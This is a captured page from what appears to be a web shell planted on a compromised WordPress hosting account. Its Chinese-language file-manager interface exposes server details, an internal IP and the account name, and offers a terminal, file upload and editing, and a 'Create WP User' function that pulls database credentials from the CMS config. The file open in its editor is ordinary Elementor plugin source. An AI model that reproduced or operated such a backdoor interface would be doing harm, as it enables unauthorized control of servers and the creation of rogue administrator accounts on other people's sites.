Linux webm017.cluster130.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid x86_64
PHP/7.4.33
服务器IP :
10.130.20.17
& 您的IP :
216.73.217.47
域名 :
无法读取 [ /etc/named.conf ]
用户 :
koaigpw
上传
终端
新建文件
新建文件夹
Create WP User
登出
+
/
home
/
koaigpw
/
budomat.net.pl
/
wp-content
/
plugins
/
elementor
/
modules
/
atomic-widgets
/
parsers
/
[ 返回根目录 ]
名称
大小
权限
修改时间
操作
..
-
-
-
props-parser.php
2.03 KB
-rw-r--r--
2026-02-24 12:19
style-parser.php
6.60 KB
-rw-r--r--
2026-02-24 12:19
>_
终端
关闭 ✕
输入 'help' 查看可用命令。
koaigpw@
>
新建文件
文件名
取消
创建
重命名
新名称
取消
重命名
Create WordPress User
Auto (baca dari file CMS)
Manual (isi kredensial DB)
代码编辑器 :
props-parser.php
<?php namespace Elementor\Modules\AtomicWidgets\Parsers; use Elementor\Modules\AtomicWidgets\PropTypes\Contracts\Prop_Type; use Elementor\Core\Utils\Api\Parse_Result; if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } class Props_Parser { private array $schema; public function __construct( array $schema ) { $this->schema = $schema; } public static function make( array $schema ): self { return new static( $schema ); } /** * @param array $props * The key of each item represents the prop name (should match the schema), * and the value is the prop value to validate */ public function validate( array $props ): Parse_Result { $result = Parse_Result::make(); $validated = []; foreach ( $this->schema as $key => $prop_type ) { if ( ! ( $prop_type instanceof Prop_Type ) ) { continue; } $value = $props[ $key ] ?? null; $is_valid = $prop_type->validate( $value ?? $prop_type->get_default() ); if ( ! $is_valid ) { $result->errors()->add( $key, 'invalid_value' ); continue; } if ( ! is_null( $value ) ) { $validated[ $key ] = $value; } } return $result->wrap( $validated ); } /** * @param array $props * The key of each item represents the prop name (should match the schema), * and the value is the prop value to sanitize */ public function sanitize( array $props ): Parse_Result { $sanitized = []; foreach ( $this->schema as $key => $prop_type ) { if ( ! isset( $props[ $key ] ) ) { continue; } $sanitized[ $key ] = $prop_type->sanitize( $props[ $key ] ); } return Parse_Result::make()->wrap( $sanitized ); } /** * @param array $props * The key of each item represents the prop name (should match the schema), * and the value is the prop value to parse */ public function parse( array $props ): Parse_Result { $validate_result = $this->validate( $props ); $sanitize_result = $this->sanitize( $validate_result->unwrap() ); $sanitize_result->errors()->merge( $validate_result->errors() ); return $sanitize_result; } }
关闭
保存